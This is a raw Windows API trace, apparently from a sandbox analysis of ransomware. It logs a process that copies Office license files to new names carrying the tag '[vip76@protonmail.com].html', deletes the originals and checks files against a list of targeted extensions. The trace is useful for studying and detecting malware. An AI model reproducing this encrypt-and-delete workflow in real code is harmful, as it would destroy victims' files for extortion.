	[0203.031] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.032] GetLastError () returned 0x0
	[0203.032] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0203.034] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0203.036] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.036] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0203.036] SetEndOfFile (hFile=0x288) returned 1
	[0203.036] CloseHandle (hObject=0x288) returned 1
	[0203.036] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.036] SetEndOfFile (hFile=0x484) returned 1
	[0203.860] CloseHandle (hObject=0x484) returned 1
	[0203.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 1
	[0204.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.418] lstrlenW (lpString=".doc") returned 4
	[0204.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".docx") returned 5
	[0204.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.418] lstrlenW (lpString=".pdf") returned 4
	[0204.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".xls") returned 4
	[0204.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".xlsx") returned 5
	[0204.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.418] lstrlenW (lpString=".ppt") returned 4
	[0204.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.418] lstrlenW (lpString=".zip") returned 4
	[0204.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".rar") returned 4
	[0204.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".bz2") returned 4
	[0204.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.418] lstrlenW (lpString=".7z") returned 3
	[0204.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.418] lstrlenW (lpString=".dbf") returned 4
	[0204.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.419] lstrlenW (lpString=".1cd") returned 4
	[0204.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.419] lstrlenW (lpString=".jpg") returned 4
	[0204.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.419] lstrlenW (lpString=".doc") returned 4
	[0204.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".docx") returned 5
	[0204.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.419] lstrlenW (lpString=".pdf") returned 4
	[0204.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".xls") returned 4
	[0204.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".xlsx") returned 5
	[0204.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.419] lstrlenW (lpString=".ppt") returned 4
	[0204.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.419] lstrlenW (lpString=".zip") returned 4
	[0204.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".rar") returned 4
	[0204.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".bz2") returned 4
	[0204.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.419] lstrlenW (lpString=".7z") returned 3
	[0204.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.420] lstrlenW (lpString=".dbf") returned 4
	[0204.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.420] lstrlenW (lpString=".1cd") returned 4
	[0204.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0204.420] lstrlenW (lpString=".jpg") returned 4
	[0204.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.420] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.420] lstrlenW (lpString="O365ProPlusR_SubTrial3-pl.xrm-ms") returned 32
	[0204.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.422] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11179) returned 1
	[0204.422] CloseHandle (hObject=0x5d0) returned 1
	[0204.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 0x220
	[0204.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.422] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.422] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.424] GetLastError () returned 0x0
	[0204.424] ReadFile (in: hFile=0x5d0, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0204.428] WriteFile (in: hFile=0x484, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0204.429] ReadFile (in: hFile=0x5d0, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.429] WriteFile (in: hFile=0x484, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0204.429] SetEndOfFile (hFile=0x484) returned 1
	[0204.429] CloseHandle (hObject=0x484) returned 1
	[0204.429] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.429] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.432] CloseHandle (hObject=0x5d0) returned 1
	[0204.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 1
	[0204.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.434] lstrlenW (lpString=".doc") returned 4
	[0204.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.434] lstrlenW (lpString=".docx") returned 5
	[0204.434] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.434] lstrlenW (lpString=".pdf") returned 4
	[0204.434] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.434] lstrlenW (lpString=".xls") returned 4
	[0204.434] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.434] lstrlenW (lpString=".xlsx") returned 5
	[0204.434] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.435] lstrlenW (lpString=".ppt") returned 4
	[0204.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString=".zip") returned 4
	[0204.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".rar") returned 4
	[0204.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".bz2") returned 4
	[0204.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".7z") returned 3
	[0204.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString=".dbf") returned 4
	[0204.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString=".1cd") returned 4
	[0204.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString=".jpg") returned 4
	[0204.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.435] lstrlenW (lpString=".doc") returned 4
	[0204.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".docx") returned 5
	[0204.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.435] lstrlenW (lpString=".pdf") returned 4
	[0204.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".xls") returned 4
	[0204.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.435] lstrlenW (lpString=".xlsx") returned 5
	[0204.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.436] lstrlenW (lpString=".ppt") returned 4
	[0204.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.436] lstrlenW (lpString=".zip") returned 4
	[0204.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.436] lstrlenW (lpString=".rar") returned 4
	[0204.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.436] lstrlenW (lpString=".bz2") returned 4
	[0204.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.436] lstrlenW (lpString=".7z") returned 3
	[0204.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.436] lstrlenW (lpString=".dbf") returned 4
	[0204.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.437] lstrlenW (lpString=".1cd") returned 4
	[0204.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0204.437] lstrlenW (lpString=".jpg") returned 4
	[0204.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.437] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.437] lstrlenW (lpString="O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 33
	[0204.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.439] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=24369) returned 1
	[0204.440] CloseHandle (hObject=0x5d0) returned 1
	[0204.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0204.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.440] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.440] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.441] GetLastError () returned 0x0
	[0204.441] ReadFile (in: hFile=0x5d0, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0204.444] WriteFile (in: hFile=0x484, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0204.445] ReadFile (in: hFile=0x5d0, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.445] WriteFile (in: hFile=0x484, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0204.445] SetEndOfFile (hFile=0x484) returned 1
	[0204.445] CloseHandle (hObject=0x484) returned 1
	[0204.445] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.445] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.449] CloseHandle (hObject=0x5d0) returned 1
	[0204.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 1
	[0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.450] lstrlenW (lpString=".doc") returned 4
	[0204.450] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".docx") returned 5
	[0204.450] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.450] lstrlenW (lpString=".pdf") returned 4
	[0204.450] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".xls") returned 4
	[0204.450] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".xlsx") returned 5
	[0204.450] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.450] lstrlenW (lpString=".ppt") returned 4
	[0204.450] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.450] lstrlenW (lpString=".zip") returned 4
	[0204.450] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".rar") returned 4
	[0204.450] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".bz2") returned 4
	[0204.450] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.450] lstrlenW (lpString=".7z") returned 3
	[0204.451] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.451] lstrlenW (lpString=".dbf") returned 4
	[0204.451] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.451] lstrlenW (lpString=".1cd") returned 4
	[0204.451] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.451] lstrlenW (lpString=".jpg") returned 4
	[0204.451] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.451] lstrlenW (lpString=".doc") returned 4
	[0204.451] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString=".docx") returned 5
	[0204.451] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.451] lstrlenW (lpString=".pdf") returned 4
	[0204.451] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString=".xls") returned 4
	[0204.451] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.451] lstrlenW (lpString=".xlsx") returned 5
	[0204.451] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.451] lstrlenW (lpString=".ppt") returned 4
	[0204.732] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.732] lstrlenW (lpString=".zip") returned 4
	[0204.732] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString=".rar") returned 4
	[0204.732] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString=".bz2") returned 4
	[0204.732] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString=".7z") returned 3
	[0204.732] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.732] lstrlenW (lpString=".dbf") returned 4
	[0204.732] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.732] lstrlenW (lpString=".1cd") returned 4
	[0204.732] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0204.733] lstrlenW (lpString=".jpg") returned 4
	[0204.733] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.786] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.786] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 50
	[0204.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
